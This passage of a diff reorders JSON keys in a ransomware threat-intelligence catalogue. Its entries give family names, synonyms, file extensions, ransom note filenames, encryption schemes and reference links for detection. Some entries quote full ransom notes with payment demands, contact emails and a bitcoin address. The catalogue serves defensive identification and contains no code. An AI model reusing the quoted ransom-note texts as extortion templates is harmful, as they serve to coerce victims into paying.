"http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/",
"https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/"
]
},
- "uuid": "bd19dfff-7c8d-4c94-967e-f8ffc19e7dd9"
+ "uuid": "bd19dfff-7c8d-4c94-967e-f8ffc19e7dd9",
+ "value": "TeslaCrypt 3.0+"
},
{
- "value": "TeslaCrypt 4.1A",
"description": "Ransomware",
"meta": {
"encryption": "AES-256 + ECHD + SHA1",
@@ -8435,10 +8439,10 @@
"https://www.endgame.com/blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack-chain"
]
},
- "uuid": "ab6b8f56-cf2d-4733-8f9c-df3d52c05e66"
+ "uuid": "ab6b8f56-cf2d-4733-8f9c-df3d52c05e66",
+ "value": "TeslaCrypt 4.1A"
},
{
- "value": "TeslaCrypt 4.2",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -8467,32 +8471,27 @@
"http://www.bleepingcomputer.com/news/security/teslacrypt-4-2-released-with-quite-a-few-modifications/"
]
},
- "uuid": "eed65c12-b179-4002-a11b-7a2e2df5f0c8"
+ "uuid": "eed65c12-b179-4002-a11b-7a2e2df5f0c8",
+ "value": "TeslaCrypt 4.2"
},
{
- "value": "Threat Finder",
"description": "Ransomware Files cannot be decrypted Has a GUI",
"meta": {
"ransomnotes": [
"HELP_DECRYPT.HTML"
]
},
- "uuid": "c0bce92a-63b8-4538-93dc-0911ae46596d"
+ "uuid": "c0bce92a-63b8-4538-93dc-0911ae46596d",
+ "value": "Threat Finder"
},
{
- "value": "TorrentLocker",
"description": "Ransomware Newer variants not decryptable. Only first 2 MB are encrypted",
"meta": {
- "synonyms": [
- "Crypt0L0cker",
- "CryptoFortress",
- "Teerac"
- ],
+ "encryption": "AES-256 CBC for files + RSA-1024 for AES key uses LibTomCrypt",
"extensions": [
".Encrypted",
".enc"
],
- "encryption": "AES-256 CBC for files + RSA-1024 for AES key uses LibTomCrypt",
"ransomnotes": [
"HOW_TO_RESTORE_FILES.html",
"DECRYPT_INSTRUCTIONS.html",
@@ -8509,12 +8508,17 @@
"http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/",
"https://twitter.com/PolarToffee/status/804008236600934403",
"http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html"
+ ],
+ "synonyms": [
+ "Crypt0L0cker",
+ "CryptoFortress",
+ "Teerac"
]
},
- "uuid": "b817ce63-f1c3-49de-bd8b-fd56c3f956c9"
+ "uuid": "b817ce63-f1c3-49de-bd8b-fd56c3f956c9",
+ "value": "TorrentLocker"
},
{
- "value": "TowerWeb",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -8524,10 +8528,10 @@
"http://www.bleepingcomputer.com/forums/t/618055/towerweb-ransomware-help-support-topic-payment-instructionsjpg/"
]
},
- "uuid": "4d470cf8-09b6-4d0e-8e5a-2f618e48c560"
+ "uuid": "4d470cf8-09b6-4d0e-8e5a-2f618e48c560",
+ "value": "TowerWeb"
},
{
- "value": "Toxcrypt",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8537,15 +8541,12 @@
"tox.html"
]
},
- "uuid": "08fc7534-fe85-488b-92b0-630c0d91ecbe"
+ "uuid": "08fc7534-fe85-488b-92b0-630c0d91ecbe",
+ "value": "Toxcrypt"
},
{
- "value": "Trojan",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "BrainCrypt"
- ],
"extensions": [
".braincrypt"
],
@@ -8555,14 +8556,18 @@
"refs": [
"https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip",
"https://twitter.com/PolarToffee/status/811249250285842432"
+ ],
+ "synonyms": [
+ "BrainCrypt"
]
},
- "uuid": "97673387-75ae-4da4-9a5f-38773f2492e7"
+ "uuid": "97673387-75ae-4da4-9a5f-38773f2492e7",
+ "value": "Trojan"
},
{
- "value": "Troldesh orShade, XTBL",
"description": "Ransomware May download additional malware after encryption",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".breaking_bad",
".better_call_saul",
@@ -8571,7 +8576,6 @@
".windows10",
".no_more_ransom"
],
- "encryption": "AES-256",
"ransomnotes": [
"README.txt",
"nomoreransom_note_original.txt"
@@ -8582,24 +8586,24 @@
"https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/"
]
},
- "uuid": "6c3dd006-3501-4ebc-ab86-b06e4d555194"
+ "uuid": "6c3dd006-3501-4ebc-ab86-b06e4d555194",
+ "value": "Troldesh orShade, XTBL"
},
{
- "value": "TrueCrypter",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".enc"
],
- "encryption": "AES-256",
"refs": [
"http://www.bleepingcomputer.com/news/security/truecrypter-ransomware-accepts-payment-in-bitcoins-or-amazon-gift-card/"
]
},
- "uuid": "c46bfed8-7010-432a-8108-138f6d067000"
+ "uuid": "c46bfed8-7010-432a-8108-138f6d067000",
+ "value": "TrueCrypter"
},
{
- "value": "Turkish",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8609,16 +8613,16 @@
"https://twitter.com/struppigel/status/821991600637313024"
]
},
- "uuid": "132c39fc-1364-4210-aef9-48f73afc1108"
+ "uuid": "132c39fc-1364-4210-aef9-48f73afc1108",
+ "value": "Turkish"
},
{
- "value": "Turkish Ransom",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"DOSYALARINIZA ULAŞMAK İÇİN AÇINIZ.html"
],
@@ -8626,16 +8630,16 @@
"http://www.nyxbone.com/malware/turkishRansom.html"
]
},
- "uuid": "174dd201-0b0b-4a76-95c7-71f8141684d0"
+ "uuid": "174dd201-0b0b-4a76-95c7-71f8141684d0",
+ "value": "Turkish Ransom"
},
{
- "value": "UmbreCrypt",
"description": "Ransomware CrypBoss Family",
"meta": {
+ "encryption": "AES",
"extensions": [
"umbrecrypt_ID_[VICTIMID]"
],
- "encryption": "AES",
"ransomnotes": [
"README_DECRYPT_UMBRE_ID_[victim_id].jpg",
"README_DECRYPT_UMBRE_ID_[victim_id].txt",
@@ -8646,10 +8650,10 @@
"http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware"
]
},
- "uuid": "028b3489-51da-45d7-8bd0-62044e9ea49f"
+ "uuid": "028b3489-51da-45d7-8bd0-62044e9ea49f",
+ "value": "UmbreCrypt"
},
{
- "value": "UnblockUPC",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -8659,28 +8663,28 @@
"https://www.bleepingcomputer.com/forums/t/627582/unblockupc-ransomware-help-support-topic-files-encryptedtxt/"
]
},
- "uuid": "5a9f9ebe-f4c8-4985-8890-743f59d658fd"
+ "uuid": "5a9f9ebe-f4c8-4985-8890-743f59d658fd",
+ "value": "UnblockUPC"
},
{
- "value": "Ungluk",
"description": "Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key",
"meta": {
+ "encryption": "AES",
"extensions": [
".H3LL",
".0x0",
".1999"
],
- "encryption": "AES",
"ransomnotes": [
"READTHISNOW!!!.txt",
"Hellothere.txt",
"YOUGOTHACKED.TXT"
]
},
- "uuid": "bb8c6b80-91cb-4c01-b001-7b9e73228420"
+ "uuid": "bb8c6b80-91cb-4c01-b001-7b9e73228420",
+ "value": "Ungluk"
},
{
- "value": "Unlock92 ",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8694,32 +8698,28 @@
"https://twitter.com/malwrhunterteam/status/839038399944224768"
]
},
- "uuid": "dfe760e5-f878-492d-91d0-05fa45a2849d"
+ "uuid": "dfe760e5-f878-492d-91d0-05fa45a2849d",
+ "value": "Unlock92 "
},
{
- "value": "VapeLauncher",
"description": "Ransomware CryptoWire variant",
"meta": {
"refs": [
"https://twitter.com/struppigel/status/839771195830648833"
]
},
- "uuid": "7799247c-4e6a-4c20-b0b3-d8e6a8ab6783"
+ "uuid": "7799247c-4e6a-4c20-b0b3-d8e6a8ab6783",
+ "value": "VapeLauncher"
},
{
- "value": "VaultCrypt",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "CrypVault",
- "Zlader"
- ],
+ "encryption": "uses gpg.exe",
"extensions": [
".vault",
".xort",
".trun"
],
- "encryption": "uses gpg.exe",
"ransomnotes": [
"VAULT.txt",
"xort.txt",
@@ -8728,12 +8728,16 @@
],
"refs": [
"http://www.nyxbone.com/malware/russianRansom.html"
+ ],
+ "synonyms": [
+ "CrypVault",
+ "Zlader"
]
},
- "uuid": "63a82b7f-9a71-47a8-9a79-14acc6595da5"
+ "uuid": "63a82b7f-9a71-47a8-9a79-14acc6595da5",
+ "value": "VaultCrypt"
},
{
- "value": "VBRANSOM 7",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8743,17 +8747,17 @@
"https://twitter.com/BleepinComputer/status/817851339078336513"
]
},
- "uuid": "44a56cd0-8cd8-486f-972d-4b1b416e9077"
+ "uuid": "44a56cd0-8cd8-486f-972d-4b1b416e9077",
+ "value": "VBRANSOM 7"
},
{
- "value": "VenusLocker",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".Venusf",
".Venusp"
],
- "encryption": "AES-256",
"ransomnotes": [
"ReadMe.txt"
],
@@ -8762,10 +8766,10 @@
"http://www.nyxbone.com/malware/venusLocker.html"
]
},
- "uuid": "7340c6d6-a16e-4a01-8bb4-8ad3edc64d28"
+ "uuid": "7340c6d6-a16e-4a01-8bb4-8ad3edc64d28",
+ "value": "VenusLocker"
},
{
- "value": "Virlock",
"description": "Ransomware Polymorphism / Self-replication",
"meta": {
"extensions": [
@@ -8776,15 +8780,13 @@
"http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/"
]
},
- "uuid": "5c736959-6c58-4bf2-b084-7197b42e500a"
+ "uuid": "5c736959-6c58-4bf2-b084-7197b42e500a",
+ "value": "Virlock"
},
{
- "value": "Virus-Encoder",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "CrySiS"
- ],
+ "encryption": "AES-256",
"extensions": [
".CrySiS",
".xtbl",
@@ -8793,7 +8795,6 @@
".id-########.decryptformoney@india.com.xtbl",
".[email_address].DHARMA"
],
- "encryption": "AES-256",
"ransomnotes": [
"How to decrypt your data.txt"
],
@@ -8802,17 +8803,17 @@
"http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip",
"http://www.nyxbone.com/malware/virus-encoder.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/crysis-targeting-businesses-in-australia-new-zealand-via-brute-forced-rdps/"
+ ],
+ "synonyms": [
+ "CrySiS"
]
},
- "uuid": "15a30d84-4f5f-4b75-a162-e36107d30215"
+ "uuid": "15a30d84-4f5f-4b75-a162-e36107d30215",
+ "value": "Virus-Encoder"
},
{
- "value": "WildFire Locker",
"description": "Ransomware Zyklon variant",
"meta": {
- "synonyms": [
- "Hades Locker"
- ],
"extensions": [
".wflx"
],
@@ -8821,14 +8822,18 @@
],
"refs": [
"https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/"
+ ],
+ "synonyms": [
+ "Hades Locker"
]
},
- "uuid": "31945e7b-a734-4333-9ea2-e52051ca015a"
+ "uuid": "31945e7b-a734-4333-9ea2-e52051ca015a",
+ "value": "WildFire Locker"
},
{
- "value": "Xorist",
"description": "Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length",
"meta": {
+ "encryption": "XOR or TEA",
"extensions": [
".EnCiPhErEd",
".73i87A",
@@ -8840,7 +8845,6 @@
".antihacker2017",
"....PAY_IN_MAXIM_24_HOURS_OR_ALL_YOUR_FILES_WILL_BE_PERMANENTLY_DELETED_PLEASE_BE_REZONABLE_you_have_only_1_single_chance_YOU_NEED_TO_PURCHASE_THE_DECRYPTOR_FROM_US_FAST_AND_URGENT"
],
- "encryption": "XOR or TEA",
"ransomnotes": [
"HOW TO DECRYPT FILES.TXT",
"https://pbs.twimg.com/media/Dfj9G_2XkAE0ZS2.jpg",
@@ -8852,20 +8856,20 @@
"https://twitter.com/siri_urz/status/1006833669447839745"
]
},
- "uuid": "0a15a920-9876-4985-9d3d-bb0794722258"
+ "uuid": "0a15a920-9876-4985-9d3d-bb0794722258",
+ "value": "Xorist"
},
{
- "value": "XRTN ",
"description": "Ransomware VaultCrypt family",
"meta": {
"extensions": [
".xrtn"
]
},
- "uuid": "22ff9f8c-f658-46cc-a404-1a54e1b74569"
+ "uuid": "22ff9f8c-f658-46cc-a404-1a54e1b74569",
+ "value": "XRTN "
},
{
- "value": "You Have Been Hacked!!!",
"description": "Ransomware Attempt to steal passwords",
"meta": {
"extensions": [
@@ -8875,26 +8879,26 @@
"https://twitter.com/malwrhunterteam/status/808280549802418181"
]
},
- "uuid": "0810ea3e-1cd6-4ea3-a416-5895fb685c5b"
+ "uuid": "0810ea3e-1cd6-4ea3-a416-5895fb685c5b",
+ "value": "You Have Been Hacked!!!"
},
{
- "value": "Zcrypt",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Zcryptor"
- ],
"extensions": [
".zcrypt"
],
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/"
+ ],
+ "synonyms": [
+ "Zcryptor"
]
},
- "uuid": "7eed5e96-0219-4355-9a9c-44643272894c"
+ "uuid": "7eed5e96-0219-4355-9a9c-44643272894c",
+ "value": "Zcrypt"
},
{
- "value": "Zimbra",
"description": "Ransomware mpritsken@priest.com",
"meta": {
"extensions": [
@@ -8907,29 +8911,29 @@
"http://www.bleepingcomputer.com/forums/t/617874/zimbra-ransomware-written-in-python-help-and-support-topic-crypto-howtotxt/"
]
},
- "uuid": "07346620-a0b4-48d5-9158-5048741f5078"
+ "uuid": "07346620-a0b4-48d5-9158-5048741f5078",
+ "value": "Zimbra"
},
{
- "value": "Zlader",
"description": "Ransomware VaultCrypt family",
"meta": {
+ "encryption": "RSA",
+ "extensions": [
+ ".vault"
+ ],
+ "refs": [
+ "http://www.nyxbone.com/malware/russianRansom.html"
+ ],
"synonyms": [
"Russian",
"VaultCrypt",
"CrypVault"
- ],
- "extensions": [
- ".vault"
- ],
- "encryption": "RSA",
- "refs": [
- "http://www.nyxbone.com/malware/russianRansom.html"
]
},
- "uuid": "2195387d-ad9c-47e6-8f14-a49388b26eab"
+ "uuid": "2195387d-ad9c-47e6-8f14-a49388b26eab",
+ "value": "Zlader"
},
{
- "value": "Zorro",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -8942,39 +8946,39 @@
"https://twitter.com/BleepinComputer/status/844538370323812353"
]
},
- "uuid": "b2bd25e1-d41c-42f2-8971-ecceceb6ba08"
+ "uuid": "b2bd25e1-d41c-42f2-8971-ecceceb6ba08",
+ "value": "Zorro"
},
{
- "value": "Zyklon",
"description": "Ransomware Hidden Tear family, GNL Locker variant",
"meta": {
- "synonyms": [
- "GNL Locker"
- ],
"extensions": [
".zyklon"
+ ],
+ "synonyms": [
+ "GNL Locker"
]
},
- "uuid": "78ef77ac-a570-4fb9-af80-d04c09dff9ab"
+ "uuid": "78ef77ac-a570-4fb9-af80-d04c09dff9ab",
+ "value": "Zyklon"
},
{
- "value": "vxLock",
"description": "Ransomware",
"meta": {
"extensions": [
".vxLock"
]
},
- "uuid": "37950a1c-0035-49e0-9278-e878df0a10f3"
+ "uuid": "37950a1c-0035-49e0-9278-e878df0a10f3",
+ "value": "vxLock"
},
{
- "value": "Jaff",
"description": "We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed \"Jaff\". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.",
"meta": {
+ "encryption": "AES",
"extensions": [
".jaff"
],
- "encryption": "AES",
"ransomnotes": [
"WallpapeR.bmp",
"ReadMe.bmp",
@@ -8986,16 +8990,16 @@
"https://www.bleepingcomputer.com/news/security/jaff-ransomware-distributed-via-necurs-malspam-and-asking-for-a-3-700-ransom/"
]
},
- "uuid": "8e3d44d0-6768-4b54-88b0-2e004a7f2297"
+ "uuid": "8e3d44d0-6768-4b54-88b0-2e004a7f2297",
+ "value": "Jaff"
},
{
- "value": "Uiwix Ransomware",
"description": "Using EternalBlue SMB Exploit To Infect Victims",
"meta": {
+ "encryption": "may be a mixture of AES and RC4.",
"extensions": [
"._[10_digit_victim_id].UIWIX"
],
- "encryption": "may be a mixture of AES and RC4.",
"ransomnotes": [
"DECODE_FILES.txt"
],
@@ -9003,10 +9007,10 @@
"https://www.bleepingcomputer.com/news/security/uiwix-ransomware-using-eternalblue-smb-exploit-to-infect-victims/"
]
},
- "uuid": "369d6fda-0284-44aa-9e74-f6651416fec4"
+ "uuid": "369d6fda-0284-44aa-9e74-f6651416fec4",
+ "value": "Uiwix Ransomware"
},
{
- "value": "SOREBRECT",
"description": "Fileless, Code-injecting Ransomware",
"meta": {
"extensions": [
@@ -9019,10 +9023,10 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/"
]
},
- "uuid": "34cedaf0-b1f0-4b5d-b7bd-2eadfc630ea7"
+ "uuid": "34cedaf0-b1f0-4b5d-b7bd-2eadfc630ea7",
+ "value": "SOREBRECT"
},
{
- "value": "Cyron",
"description": "claims it detected \"Children Pornsites\" in your browser history",
"meta": {
"extensions": [
@@ -9035,10 +9039,10 @@
"https://twitter.com/struppigel/status/899524853426008064"
]
},
- "uuid": "f597d388-886e-46d6-a5cc-26deeb4674f2"
+ "uuid": "f597d388-886e-46d6-a5cc-26deeb4674f2",
+ "value": "Cyron"
},
{
- "value": "Kappa",
"description": "Made with OXAR builder; decryptable",
"meta": {
"extensions": [
@@ -9051,10 +9055,10 @@
"https://twitter.com/struppigel/status/899528477824700416"
]
},
- "uuid": "3330e226-b71a-4ee4-8612-2b06b58368fc"
+ "uuid": "3330e226-b71a-4ee4-8612-2b06b58368fc",
+ "value": "Kappa"
},
{
- "value": "Trojan Dz",
"description": "CyberSplitter variant",
"meta": {
"extensions": [
@@ -9067,10 +9071,10 @@
"https://twitter.com/struppigel/status/899537940539478016"
]
},
- "uuid": "1fe6c23b-863e-49e4-9439-aa9e999aa2e1"
+ "uuid": "1fe6c23b-863e-49e4-9439-aa9e999aa2e1",
+ "value": "Trojan Dz"
},
{
- "value": "Xolzsec",
"description": "ransomware written by self proclaimed script kiddies that should really be considered trollware",
"meta": {
"extensions": [
@@ -9080,10 +9084,10 @@
"https://twitter.com/struppigel/status/899916577252028416"
]
},
- "uuid": "f2930308-2e4d-4af5-b119-746be0fe7f2c"
+ "uuid": "f2930308-2e4d-4af5-b119-746be0fe7f2c",
+ "value": "Xolzsec"
},
{
- "value": "FlatChestWare",
"description": "HiddenTear variant; decryptable",
"meta": {
"extensions": [
@@ -9096,44 +9100,44 @@
"https://twitter.com/struppigel/status/900238572409823232"
]
},
- "uuid": "d29341fd-f48e-4caa-8a28-b17853b779d1"
+ "uuid": "d29341fd-f48e-4caa-8a28-b17853b779d1",
+ "value": "FlatChestWare"
},
{
- "value": "SynAck",
"description": "The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user's desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt\n In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.",
"meta": {
+ "ransomnotes": [
+ "RESTORE_INFO-[id].txt"
+ ],
"refs": [
"https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/",
"https://www.bleepingcomputer.com/news/security/synack-ransomware-uses-process-doppelg-nging-technique/"
],
"synonyms": [
"Syn Ack"
- ],
- "ransomnotes": [
- "RESTORE_INFO-[id].txt"
]
},
- "uuid": "04585cd8-54ae-420f-9191-8ddb9b88a80c"
+ "uuid": "04585cd8-54ae-420f-9191-8ddb9b88a80c",
+ "value": "SynAck"
},
{
- "value": "SyncCrypt",
"description": "A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/"
- ],
"extensions": [
".kk"
],
"ransomnotes": [
"readme.html",
"readme.png"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/"
]
},
- "uuid": "83d10b83-9038-4dd6-b305-f14c21478588"
+ "uuid": "83d10b83-9038-4dd6-b305-f14c21478588",
+ "value": "SyncCrypt"
},
{
- "value": "Bad Rabbit",
"description": "On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.",
"meta": {
"refs": [
@@ -9144,93 +9148,83 @@
"Bad-Rabbit"
]
},
- "uuid": "e8af6388-6575-4812-94a8-9df1567294c5"
+ "uuid": "e8af6388-6575-4812-94a8-9df1567294c5",
+ "value": "Bad Rabbit"
},
{
- "value": "Halloware",
"description": "A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/"
- ],
"extensions": [
"(Lucifer) [prepend]"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/"
]
},
- "uuid": "b366627d-dbc0-45ba-90bc-5f5694f45e35"
+ "uuid": "b366627d-dbc0-45ba-90bc-5f5694f45e35",
+ "value": "Halloware"
},
{
- "value": "StorageCrypt",
"description": "Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User's have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/"
- ],
"extensions": [
".locked"
],
"ransomnotes": [
"_READ_ME_FOR_DECRYPT.txt",
"Warning\n\nYour documents, photos,databases,important files have been encrypted by RSA-4096 and AES-256!\nIf you modify any file, it may cause make you cannot decrypt!!!\n\nDon't waste your precious time to try decrypt the files.\nIf there is no key that we provide to you , NO ONE can decrypt your precious files, even Jesus.\n\nHow to decrypt your files ?\n\nYou have to pay for decryption in bitcoin\nTo decrypt your files,please following the steps below\n\n1,Pay 2.0 bitcoin to this address: [bitcoin_address]\n\nPay To : [bitcoin_address]\nAmount : 2.0\n\n2,After you have finished paying,Contact us and Send us your Decrypt-ID via email\n\n3,Once we have confimed your deal,You can use the tool we sent to you to decrypt all your files.\n\nHow to obtain bitcoin ?\n\nThe easiest way to buy bitcoin is LocalBitcoins site.\nYou have to register, click Buy bitcoins and select the seller\nby payment method and price\n\nhttps://localbitcoins.com/buy_bitcoins\n\nhttps://paxful.com/buy-bitcoin\n\nhttp://bitcointalk.org/\n\n If you have any questions please do not hesitate to contact us\n\nContact Email:JeanRenoAParis@protonmail.com\n\nDecrypt-ID:"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/"
]
},
- "uuid": "0b920d03-971f-413c-8057-60d187192140"
+ "uuid": "0b920d03-971f-413c-8057-60d187192140",
+ "value": "StorageCrypt"
},
{
- "value": "HC7",
"description": "A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network.\nOriginally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor.\nUnfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/"
- ],
"extensions": [
".GOTYA"
],
"ransomnotes": [
"RECOVERY.txt",
"ALL YOUR FILES WERE ENCRYPTED.\nTO RESTORE THIS FILE, YOU MUST SEND $700 BTC for MASCHINE\nOR $5,000 BTC FOR ALL NETWORK\nADDRESS: 15aM71TGtRZRrY97vdGcDEZeJYBWZhf4FP\nAFTER PAYMENT SENT EMAIL m4zn0v@keemail.me\nALONG WITH YOUR IDENTITY: VVNFUi1QQzA5\nNOT TO TURN OFF YOUR COMPUTER, UNLESS IT WILL BREAK"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/"
]
},
- "uuid": "9325e097-9fea-490c-9b89-c2d40c166101"
+ "uuid": "9325e097-9fea-490c-9b89-c2d40c166101",
+ "value": "HC7"
},
{
- "value": "HC6",
"description": "Predecessor of HC7",
"meta": {
+ "extensions": [
+ ".fucku"
+ ],
"refs": [
"https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw",
"https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/"
- ],
- "extensions": [
- ".fucku"
]
},
- "uuid": "909fde65-e015-40a9-9012-8d3ef62bba53"
+ "uuid": "909fde65-e015-40a9-9012-8d3ef62bba53",
+ "value": "HC6"
},
{
- "value": "qkG",
"description": "Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/qkg-ransomware-encrypts-only-word-documents-hides-and-spreads-via-macros/"
]
},
- "uuid": "1f3eab7f-da0a-4e0b-8a9f-cda2f146c819"
+ "uuid": "1f3eab7f-da0a-4e0b-8a9f-cda2f146c819",
+ "value": "qkG"
},
{
- "value": "Scarab",
"description": "The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year.\nWritten in Delphi, the first version was simplistic and was recognizable via the \".scarab\" extension it appended after the names of encrypted files.\nMalwarebytes researcher Marcelo Rivera spotted a second version in July that used the \".scorpio\" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension.\nThe current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the \".[suupport@protonmail.com].scarab\" extension.\nScarab also deletes shadow volume copies and drops a ransom note named \"IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT\" on users' computers, which it opens immediately.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/",
- "https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/",
- "https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware",
- "https://twitter.com/malwrhunterteam/status/933643147766321152",
- "https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/",
- "https://twitter.com/demonslay335/status/1006222754385924096",
- "https://twitter.com/demonslay335/status/1006908267862396928",
- "https://twitter.com/demonslay335/status/1007694117449682945"
- ],
"extensions": [
".scarab",
".scorpio",
@@ -9245,29 +9239,39 @@
"Attention: if you do not have money then you do not need to write to us!\nThe file is encrypted with the RSA-2048 algorithm, only we can decrypt the file.\n====================================================================================================\n fastrecovery@airmail.cc\n====================================================================================================\nYour files are encrypted!\nYour personal identifier:\n[redacted hex]\n====================================================================================================\nTo decrypt files, please contact us by email:\nfastrecovery@airmail.cc\n====================================================================================================\nThe file is encrypted with the RSA-2048 algorithm, only we can decrypt the file.\nAttention: if you do not have money then you do not need to write to us!",
"INSTRUCTIONS FOR RESTORING FILES.TXT",
